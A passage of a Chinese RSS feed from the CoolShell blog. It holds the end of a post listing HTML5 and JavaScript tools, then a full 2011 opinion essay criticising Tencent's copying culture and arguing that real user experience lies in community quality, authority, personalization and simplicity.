href=\"http://www.primaryobjects.com/CMS/Article134.aspx\">http://www.primaryobjects.com/CMS/Article134.aspx</a> 其示例在这里 <a href=\"http://www.primaryobjects.com/paint/\">http://www.primaryobjects.com/paint/</a></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone aligncenter\" src=\"https://lh5.googleusercontent.com/-z17zh24rw4k/TmrH2wrPSRI/AAAAAAAAADQ/Az9W5Lge3Ok/h301/Untitled-1.gif\" alt=\"\" width=\"376\" height=\"301\" /></p>\n<p>这里又是一个HTML5的演示 <a href=\"http://www.spielzeugz.de/html5/sticky-thing/\">http://www.spielzeugz.de/html5/sticky-thing/</a>，一个物理的会粘在浏览器边框上的小方块，在iPad里演示相当有意思。只是其代码好像被搞得非常地不易读，不过，你可以试试这个工具来整理代码：<a href=\"http://jsbeautifier.org/\">http://jsbeautifier.org/</a>，但是变量命名还是会让你毫无头绪。</p>\n<p>HTML5的一个很炫的示例：<a href=\"http://lights.elliegoulding.com/\" target=\"_blank\">http://lights.elliegoulding.com/</a>  你可以用鼠标巡航，点左键加速（另，那位朋友知道其背景音乐？）</p>\n<p style=\"text-align: center;\"><a href=\"http://lights.elliegoulding.com/\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-5951 aligncenter\" title=\"lights\" src=\"https://coolshell.cn/wp-content/uploads/2011/11/lights.jpg\" alt=\"\" width=\"600\" height=\"322\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/11/lights.jpg 600w, https://coolshell.cn/wp-content/uploads/2011/11/lights-300x161.jpg 300w\" sizes=\"(max-width: 600px) 100vw, 600px\" /></a></p>\n<p>想用HTML5做股票图吗？看看这个库：<a href=\"http://www.rocketcharts.com/\">http://www.rocketcharts.com/</a></p>\n<div>\n<div><img decoding=\"async\" class=\"aligncenter\" src=\"http://www.rocketcharts.com/img/rocketcharts.png\" alt=\"\" /></div>\n</div>\n<p>一个7K的js，可以让你的HTML的列表很灵活的分类，排序，搜索，过滤：<a href=\"http://listjs.com/\">http://listjs.com/</a></p>\n<p>一个OOP的PHP处理图片的类库：<a href=\"http://imagine.readthedocs.org/\">http://imagine.readthedocs.org</a></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"http://imagine.readthedocs.org/en/latest/_static/logo.png\" alt=\"\" width=\"280\" height=\"140\" /></p>\n<p>一个Javascript实现的H.264解码器。<a href=\"https://github.com/mbebenita/Broadway\">https://github.com/mbebenita/Broadway</a> （<a href=\"http://mbebenita.github.com/Broadway/broadway.html\" target=\"_blank\">演示地址</a> &#8211; 请用firefox打开，download速度可能很慢）不过，其是用Android C实现的，然后把C转成Javascript的代码。如果你想知道如何把C代码转成Javascript，你可以看看这个项目：<a href=\"https://github.com/kripken/emscripten\">https://github.com/kripken/emscripten</a> &#8211; LLVM-to-JavaScript compiler。（变态！）</p>\n<p>一个可以画流程图的Javascript lib &#8211; WireIt：<a href=\"http://neyric.github.com/wireit/\">http://neyric.github.com/wireit/</a></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5952\" title=\"wireit\" src=\"https://coolshell.cn/wp-content/uploads/2011/11/wireit.png\" alt=\"\" width=\"411\" height=\"283\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/11/wireit.png 411w, https://coolshell.cn/wp-content/uploads/2011/11/wireit-300x206.png 300w\" sizes=\"(max-width: 411px) 100vw, 411px\" /></p>\n<p>这是一个网站，仅用CSS，没有JS，没有图片做的N多公司的logo。但其可以用纯CSS做个动画，你可以看看：<a href=\"http://www.ecsspert.com/atari.php\" target=\"_blank\">http://www.ecsspert.com/atari.php</a> 研究了一下发现其用到了  <span class=\"Apple-style-span\" style=\"font-family: monospace; font-size: 12px; line-height: 18px; white-space: pre;\">-webkit-animation</span>。</p>\n<p>一个用bash处理JSON的脚本：<a href=\"https://github.com/rcrowley/json.sh\" target=\"_blank\">https://github.com/rcrowley/json.sh</a></p>\n<p>微软VS中的Debug Canvas,相当的不错啊。<a href=\"http://msdn.microsoft.com/en-us/devlabs/debuggercanvas\">http://msdn.microsoft.com/en-us/devlabs/debuggercanvas</a>，可惜只在 Visual Studio Ultimate里。</p>\n<p>介绍一下很有意思的Firefox插件<a href=\"https://addons.mozilla.org/en-US/firefox/addon/tilt/\" target=\"_blank\"> Titl 3D</a>，其项目主页在 <a href=\"https://github.com/victorporof/Tilt\">https://github.com/victorporof/Tilt</a>。这个插件使用WebGL可以3D地显示网页，安装好插件后，简单地按一下Ctrl+Shift+M就可以了。下面我用其显示了新浪微博和WebQQ。目前的功能不是很多，但是这个插件简直是太cool了——可以大胆的设想一下以后会不会有3D的网页。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"tile3d_weibo\" src=\"https://coolshell.cn/wp-content/uploads/2011/11/tile3d_weibo.png\" alt=\"\" width=\"650\" height=\"331\" /></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5810\" title=\"tile3d_webqq\" src=\"https://coolshell.cn/wp-content/uploads/2011/11/tile3d_webqq.png\" alt=\"\" width=\"650\" height=\"331\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/11/tile3d_webqq.png 650w, https://coolshell.cn/wp-content/uploads/2011/11/tile3d_webqq-300x152.png 300w\" sizes=\"(max-width: 650px) 100vw, 650px\" /></p>\n<p>最后，在网上看到一个笑话，如下：</p>\n<p>这是给程序员们女朋友的建议。如果某程序员要和你分手，你可以参照这位国外程序员女友的作法——“你可以在facebook和twitter上拉黑我，也可以不回我的短信，但是，你永远不可能阻止我对你在Reddit上发的所有的贴投反对票！FUCK YOU ！”</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5953\" title=\"生气的女友\" src=\"https://coolshell.cn/wp-content/uploads/2011/11/1z2qalh.png\" alt=\"\" width=\"499\" height=\"78\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/11/1z2qalh.png 499w, https://coolshell.cn/wp-content/uploads/2011/11/1z2qalh-300x46.png 300w\" sizes=\"(max-width: 499px) 100vw, 499px\" /></p>\n<p>就这些，希望对你会喜欢。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li><li ><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"一些有意思的贴子和工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_title\">一些有意思的贴子和工具</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/3516.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" alt=\"JS游戏引擎列表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3516.html\" class=\"wp_rp_title\">JS游戏引擎列表</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5537.html\">一些文章资源和趣闻</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5537.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>81</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>腾讯，竞争力 和 用户体验</title>\n\t\t<link>https://coolshell.cn/articles/5901.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5901.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 22 Nov 2011 00:29:24 +0000</pubDate>\n\t\t\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Amazon]]></category>\n\t\t<category><![CDATA[Apple]]></category>\n\t\t<category><![CDATA[QQ]]></category>\n\t\t<category><![CDATA[腾讯]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5901</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>自从那篇rant了一堆公司都的文章发布来，得到了大家的关注，有些朋友让我写一下腾讯，在我的微博上（@左耳朵耗子）还有位腾讯的朋友让我也评价一下腾讯。本来不想写的...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5901.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5901.html\">腾讯，竞争力 和 用户体验</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>自从<a title=\"来信， 创业 和 移动互联网\" href=\"https://coolshell.cn/articles/5815.html\" target=\"_blank\">那篇rant了一堆公司都的文章</a>发布来，得到了大家的关注，有些朋友让我写一下腾讯，在我的微博上（<a href=\"http://weibo.com/haoel\" target=\"_blank\">@左耳朵耗子</a>）还有位腾讯的朋友让我也评价一下腾讯。本来不想写的，觉得腾讯没啥好说的，但是因为下面的几个原因，让我有点坐不住了：</p>\n<ol>\n<li>这两天知乎上的一个“<a href=\"http://www.zhihu.com/question/19920338\" target=\"_blank\">腾讯的核心竞争力</a>”的贴子在微博上被很多人所推崇。</li>\n<li>还有一个网友发邮件给我说让我别rant了，宁可C2C也比rant有意义。</li>\n<li>我周末的时候去豆瓣和他们交流了一些关于产品和用户体验方面的话题。</li>\n<li>还看到了Jeff Bezos的访谈文章《<a href=\"http://tech.sina.com.cn/i/2011-11-17/15546337096.shtml\" target=\"_blank\">贝佐斯：亚马逊是科技界唯一一家低利润公司</a>》</li>\n</ol>\n<p>于是就有了这篇文章，但不想再rant了，我希望这篇文章更有价值一些，但是我喜欢的调侃的风格依然，因为这是我觉得能让文章有趣味的方式。</p>\n<h4>腾讯的“价值”</h4>\n<p>首先我想说说腾讯的价值。根据我<a title=\"来信， 创业 和 移动互联网\" href=\"https://coolshell.cn/articles/5815.html\" target=\"_blank\">那篇 rant 的文章</a>来说，我觉得人要活得有价值，事业也要做得有价值。我不太待见那些没有价值的东西。所以，我在那篇文章里让大家都思考了一个问题，我们做这个事的价值在哪里？所以，要评论腾讯，就得想想他的价值。众所周知，腾讯的起家是通过IM软件QQ，当然，他有段时间几乎快不行了。不过挺过来了，造就了这么一个帝国。所以，腾讯的价值应该是即时通讯，让大家的沟通变得更顺畅，这点腾讯的确做得非常强大，视频，音频，涂鸦，抓屏，表情，Q币，共享，群聊，新闻，弹窗，离线文件，远程协助…… 的确做得非常地体贴用户。除了扫描硬盘文件有点那个。</p>\n<p>但是，最近的腾讯变了（当然有人说他也没有变，QQ本来就是抄来的），有什么就抄什么，没有创意，山寨大王，成了腾讯的代名词。马云也说过：“现在腾讯拍拍网最大的问题就是没有创新，所有的东西都是抄来的”。网上还有很多，什么“一直在抄袭，从未超越过”或是“<a href=\"http://weibo.com/2093492691/xwYpFB9IK\" target=\"_blank\">一直在山寨，从没反省过</a>”等等的话，还有“<a href=\"http://tieba.baidu.com/f?kz=1007979914\" target=\"_blank\">自从有了XXX，腾讯就出了XXX</a>”的文体。</p>\n<p><strong>但是，你们都错了，包括马云，我不同意你们，我觉得这正是腾讯的价值所在</strong>。</p>\n<p><span id=\"more-5901\"></span></p>\n<p>昨天有个网友写邮件给我说，整天rant也没啥意思吧，还不如真的做点C2C吧。他的想法是先把一些基本的东西如评论，发贴，头像，登录什么的都做好，然后国外出什么就抄什么，抄的会飞快。我给他回信说，你抄得过腾讯吗？他无语了。你看，一个有C2C想法的人就这样被放弃了其想法。所以，我觉得，<strong>腾讯这样大规模的抄袭和山寨，对整个社会的价值就是——<span style=\"color: #cc0000;\">会让很多很多的创业团队放弃Copy，甚至让他们要放弃那些容易被复制的“业务型的项目”，而逼着他们去努力思考，如何才不能被腾讯复制，如何才能有自己的核心价值</span></strong>。而所有的骂名都被腾讯所承当，腾讯把住了所有的茅坑，让你不得不去做最有价值的东西，这是一种什么样的精神啊？！对于那些整天都在骂腾讯的人来说，你们好好地去面壁反思吧！</p>\n<h4>“腾讯的核心竞争力”一文</h4>\n<p>顶在<a href=\"http://www.zhihu.com/question/19920338\" target=\"_blank\">这篇文章</a>最上面的最佳答案是腾讯无线国际业务产品总监Andy Pan的答案，在微博上也广受推崇。不知道为什么，我总是有一些和大家不一样的想法，看来我是一个有相当逆反心理的愤青。没做出什么东西来，话还挺多，我都有点烦自己了，你也多多原谅我。</p>\n<p>Andy Pan的答案中，说了两点核心竞争力，第一个是腾讯的IM平台，还用了Windows来做比较，很明显，这个前微软件的产品总监并不知道什么是平台，关于平台，<a title=\"SteveY对Amazon和Google平台的长篇大论\" href=\"https://coolshell.cn/articles/5701.html\" target=\"_blank\">Steve Y的这篇平台论</a>说得很清楚了，建议Andy同学学习一下。Windows之所以是个平台的原因是因为Windows没有什么都做，而是开放了很多很多的API和SDK让第三方的产商去做，而腾讯并没有开放IM的API，不但搞定了珊瑚虫，而且什么事情都要自己做，这根本不是平台，平台是要去开放的，是要去为业界创造生态环境的，而腾讯的做法更像是封闭的垄断。当Andy Pan说起Amazon收购Zappos的时候，他忘记了Amazon的云平台上还养了一个巨大的竞争对手Target（最近分手了），还养了十年。因为，Bezos觉得有个竞争对手和自己进行良性的竞争对自己是有好处的。</p>\n<p>Andy还说做为一个IM细分用户的领域是有必要的，没错，完全赞同。不过，实在看不出来对领域的细分，更多的是对领域的扩张。新闻门户，搜搜，拍拍，百科，Q吧，炫风，炫舞，三国，英雄杀，浏览器，输入法，对战平台，电台，影音，图书，阅读，3366，QQTalk…… 一点都看不出来的是对IM的细分。你信吗？</p>\n<p>第二个Andy说的核心竞争力是员工加班。加班到深夜也成了核心竞争力，看来是实在找不到核心竞争力了。好吧，我觉得这句话可以说得更好一些，再怎么也应该说成是企业文化，或是企业文化催人奋进，每个人都有主人翁的精神，而不是工作负荷大嘛。你看，我都能说的这么漂亮啊，我才是像高管的样子哦，吼吼。对我来说，加班文化是差团队的表现，要么就是管理不行，让大家都加班，要么就是自己不行（反正肯定有问题，我在<a title=\"多些时间能少写些代码\" href=\"https://coolshell.cn/articles/5686.html\" target=\"_blank\">多些时间能少些代码</a>里论述过了）。当然，我知道了，腾讯的战线拉得很长，什么都要做，当然会那么累了，要学会做精不要做多嘛。</p>\n<p>作为一位高管，应该要知道，重要的不是你有多努力，你花了多少时间，而是你有没有去思考，有没有去创造价值。<strong>腾讯难道不觉得，不断地创新去颠覆传统才是互联网行业的核心竞争力吗</strong>。</p>\n<p>我觉得腾讯那所谓的核心竞争力是用户数量大，大在关系链上，像我这样几本不用QQ的人有时候都会被朋友和同学逼着去用QQ收个文件照片或是远程协助个什么。QQ这个聊天工具做得非常不错，这点我是要赞一下的。所以，这才让用户聚集起来，没有了这个，不知道腾讯会怎么样。</p>\n<h4>腾讯的软肋</h4>\n<p>Andy Pan有一点说的是对的，就是腾讯和微软很像，不过像的不是平台，而是运营模式——那就是永远跳不出自己的模式。微软不管做什么，都必需誓死捍卫其Windows平台，连那么有创造力的体感硬件Knect也只能用在微软的产品和平台上，更不用说hotmail，Bing和Sharepoint了，如果能开放一些用点别的技术，我相信微软在互联网界可能还是很强大的。</p>\n<p>腾讯也逃不出“腾讯的模式”——那就是<strong>大量的低端业务和低端内容</strong>。我不确定腾讯是不是像微软那样誓死捍卫其低端业务和内容的。但是QQ的确驱逐了很多高质量的用户，因为QQ上的不成熟的小孩太多了，交友，网恋，甚至欺骗和色情在那里泛滥，造成劣币驱逐良币。另外，QQ这个名词起得很不好，因为正常点的成年人都不会去Q（装可爱），所QQ好像也就成了未成年人的代名词。而似乎有自我价值诉求的人都不会用QQ，在正式场合比如自己的应聘简历上留一个QQ邮箱还是有点掉价的。可见QQ的这个品牌形象很低端。腾讯的很多产品都走的都是这个路线。</p>\n<p>不可否认，这和中国网民的群体素质有关系。但我以为，<strong>作为那么大的公司，应该担负起培养或引导网民素质，开启民智，引人向上的角色，而不是将就于低端的大众用户</strong>。</p>\n<p>另外，还值得一提的是近来关于通过QQ抓人的新闻很多，所以，大家都知道的为什么更多的用户去用gtalk了。不过有一点应该是真的，那就是通过QQ监控聊天用户的体验，应该是很不错的。</p>\n<p>看到这里，你一定会对我抱怨说：“我擦，你这篇还照旧是一篇rant，fuck你一万遍”。别骂了，你没有看我已经赶快起了一个新段落来说点我觉得有点价值的东西。</p>\n<h4>真正的用户体验</h4>\n<p>说起用户的体验，这是一个可能比较大的，也可能比较具体的话题（以前本站有一篇<a title=\"用户界面和用户体验的差别\" href=\"https://coolshell.cn/articles/3142.html\" target=\"_blank\">关于UX比喻的文章</a>）。关于用户体验来说，很多人都以为是对UI的一个加强，也就是说把UI的操作做得更好。所以，大家都在UI上花大力气做UX。这样的认识并不错，QQ做得也是非常好的，看看WebQQ，真是非常地强大。</p>\n<p>不过，我想说，<strong>如果你认为用户的体验在UI上，那么你只看到了用户体验的冰山一角，用户的体验远远不只这个</strong>。“<strong>任何表面上的东西都是肤浅的</strong>”——这是写Effective C++的Scott Meyers说的。</p>\n<p>你看——Reddit，Twitter，StackOverflow， 还有国内的豆瓣，界面做的真的不怎么的，Reddit的界面ugly到了就像是一个没有完成的原型网站一样！但是为什么人家的用户人气那么旺，为什么呢？</p>\n<p>这就是我想说的比UI更高层次的用户体验了——<strong>关注用户的真正的体验</strong>。我先举个例子——</p>\n<blockquote><p>大家知道Amazon注册了很多个容易让人打错的域名吗？我这里有一个不完整的列表：Amamzon.com， Amaxon.com，Amazong.com，Amozon.com，Amazonc.com，Amazone.com，Amazn.com（翻墙），namazon.com…… 为的都是用户体验。（注：你要是用拼音也可以，如：yamaxun.com）</p></blockquote>\n<p>这是一个很小的例子，旨在说明用户体验不单单是UI的事。</p>\n<p>下面正式阐述真正的用户体验（这些东西我在前面<a title=\"来信， 创业 和 移动互联网\" href=\"https://coolshell.cn/articles/5815.html\" target=\"_blank\">那篇rant里提过了</a>，这里说得更细一点）——</p>\n<ul>\n<li><strong>注重社区的质量</strong>。很多论坛和网站的兴起都是因为一开始有高质量的文章和素质高的人，然而，人气一足，三教九流的人都来了，于是劣币逐良币，那些素质高的人就只能离开了。所以，任何把高质量和低质量的东西放在一起的社区相当的破坏整体用户体验。尤其是那些对质量有诉求的人。为了避免劣币逐良币，大家要学习一下豆瓣，StackOverflow，没有什么热文版，就算有，也要精心地控制内容的质量。<strong>你要知道，人们来这里是因为被这个社区有价值的东西吸引来的</strong>。就像是去StackOverflow或Quora一样，可以得到很靠谱的答案，可以和很牛的人在一起交流，这是社区的价值。所以，像StackOverflow或Quora这样的网站，一些质量不高的答案在那里就会被投反对票，其会影响你的reputation。看看Amazon.com上的书评，IMDB上的影评，非常专业，还有打分，高质量的东西自然就浮出来了，低质量的东西自然就下降了。<strong>小心维护社区的质量必然会给用户有更好的体验</strong>。（不知道大家有没有参加过豆瓣的小组活动，我有一个朋友参加过一次关于绘画的活动，说是质量相当高）</li>\n</ul>\n<ul>\n<li> <strong>注重社区的权威</strong>。像豆瓣或是Stackoverflow上都有评分。你怎么能让你的评分有权威性呢？你知道，在中国这块土地上有大量的五毛和水军，他们随时都可以开动，3Q大战的时候大家都见识过了，对于这些牛皮癣怎么办呢？在Stackoverflow上，你会发现，你没有15点reputation，你没有资格vote什么，你为了要能去vote什么，你先得贡献些什么，对于不懂技术的五毛和水军们完全搞不定这些东西了（当然，你可以去建一个问题，但是要小心被down vote）。对于豆瓣来说，豆瓣的每个用户都有个权威值，这个值通过用户的在线时间，发贴数量，访问次数，有没有高质量的文章，有没有参加社区活动，等等等因素，得出一个权威值。刚注册的用户权威值为0，如果有了一些负面的东西还有可能是负数，有些被社区所推崇的牛人级的用户的权威可能高达几千几万。这样，当水军和五毛们对一本书或是一个电影投票的时候，就算是数量大，但基本上没有什么作用。这就是为什么豆瓣里有的电影有70%的人投了三分或四分，但那个电影还是在快5分的样子。这就是为了维护社区的权威和质量的体现。淘宝的好评差评也是一样，但是如果可以被水军去冲的话，那就很没有意思了。看看大众点评网里的那些评论，很多都完全失去了权威。因为他们没有vote的机制。</li>\n</ul>\n<ul>\n<li><strong>注重用户的个性化，并引导用户</strong>。登录进入Amazon或豆瓣或是新浪微博，在首页上，你会看到你所关注的东西。整个首页是为你个人量身定制出来的。这样一来，就算这个社区里有什么流氓或是低端用户，那也不会影响用户的体验（新浪微博的隐私设置也是很不错的）。最注要的是，这让为引导用户，开启民智做了充分的准备——这就是推荐。Amazon是推荐算法的鼻祖。推荐书，推荐产品的邮件，页面定制，等等。Henry Ford 说过——“如果你问用户想要什么，他们会告诉你要一匹更快的马”，看看苹果的设计出来的产品，都是在引导用户，如果你只看到了苹果的UI，那只看到了一部分。苹果开发的东西都在引导用户认可和追逐有艺术气息的数码产品。所以，<strong>根据用户的特征来向用户推荐并引导用户，告诉用户什么是好的，什么是有价值的，才是真正的用户体验</strong>。</li>\n</ul>\n<div>\n<ul>\n<li><strong>把事变简单，把难度降低</strong>。还记得以前的PC上的Windows吗？还记得以前的个人主页，现在的blog吗？他们可以让更多的人会更容易地操作电脑，发布信息。看看苹果的iPad，其可以让一个5岁的孩子或是60岁的没的接触过电脑的老人在5分钟内学会使用电脑上网浏览。这意味着什么？这意味着会使用电脑的人越来越多；可以让更多的人发布自己的信息。<strong>这意味着什么？这意味着金字塔低端的人会越来越多，于是生态环境也会越来越好</strong>。<strong>对于业务来说，你需要给予end-to-end的服务。</strong>就像苹果一样，你不要担心买来电脑怎么去装软件，去下载音乐和电影，也不必担心会装上恶意的软件。就像Amazon的第三方商户平台，对于商户来说，你把货发给Amazon就好了，你不必担心库存，物流，客服，退货，财务，所有的一切都由Amazon代劳了。这些东西才是最强悍的东西。（腾讯的QQ也是让很多人能上网聊天，降低了网聊的难度，所以也流行了起来）</li>\n</ul>\n<p>上面的这四点真正的用户体验，腾讯有没有做到？你有答案的。老实说，腾讯的用户体验只做了些很表面的东西。</p>\n<p>最后，让我用我东家老大的话来结束这篇文章—— <strong></strong></p>\n<blockquote><p>“我们对于完美客服体验的理解是，用户其实并不希望与我们直接对话。每次客户联系我们，我们都视为工作中的失误。我已经说了好多年了，人们应该与他们的朋友交谈，而不是与商家。因此，我们充分利用各种客服信息来探究客户联系我们的真正原因。什么地方出现问题了？那个人为什么要打电话？为什么他们花费时间与我们交谈而不是与家人交谈？我们如何解决这个问题？”</p>\n<p style=\"text-align: right;\">—— Jeff Bezos</p>\n</blockquote>\n<p style=\"text-align: center;\"><strong>尊重用户，提高品质，不断创新——这才是互联网企业的核心竞争力！</strong></p>\n<p style=\"text-align: left;\"><span style=\"color: #cc0000;\">最后注明一下版权，<strong>本文由陈皓原创发表，你可以任意传载，但必需在明显位置注明作者和出处，而且不能用于任何商业用途</strong></span>。</p>\n</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7617.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/i-hate-copycat-150x150.png\" alt=\"抄袭，腾讯 和 产品 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7617.html\" class=\"wp_rp_title\">抄袭，腾讯 和 产品 </a></li><li ><a href=\"https://coolshell.cn/articles/5987.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" alt=\"如何设计“找回用户帐号”功能\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5987.html\" class=\"wp_rp_title\">如何设计“找回用户帐号”功能</a></li><li ><a href=\"https://coolshell.cn/articles/5966.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg\" alt=\"腾讯帐号申诉的用户体验\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5966.html\" class=\"wp_rp_title\">腾讯帐号申诉的用户体验</a></li><li ><a href=\"https://coolshell.cn/articles/11112.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/02/apple_goto_fail-150x150.png\" alt=\"由苹果的低级Bug想到的\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11112.html\" class=\"wp_rp_title\">由苹果的低级Bug想到的</a></li><li ><a href=\"https://coolshell.cn/articles/7186.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/04/Green-Computing-150x150.jpg\" alt=\"做个环保主义的程序员\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7186.html\" class=\"wp_rp_title\">做个环保主义的程序员</a></li><li ><a href=\"https://coolshell.cn/articles/6775.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"Bret Victor &#8211; Inventing on Principle\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6775.html\" class=\"wp_rp_title\">Bret Victor &#8211; Inventing on Principle</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5901.html\">腾讯，竞争力 和 用户体验</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5901.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>215</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>来信， 创业 和 移动互联网</title>\n\t\t<link>https://coolshell.cn/articles/5815.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5815.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 15 Nov 2011 00:31:21 +0000</pubDate>\n\t\t\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Amazon]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid 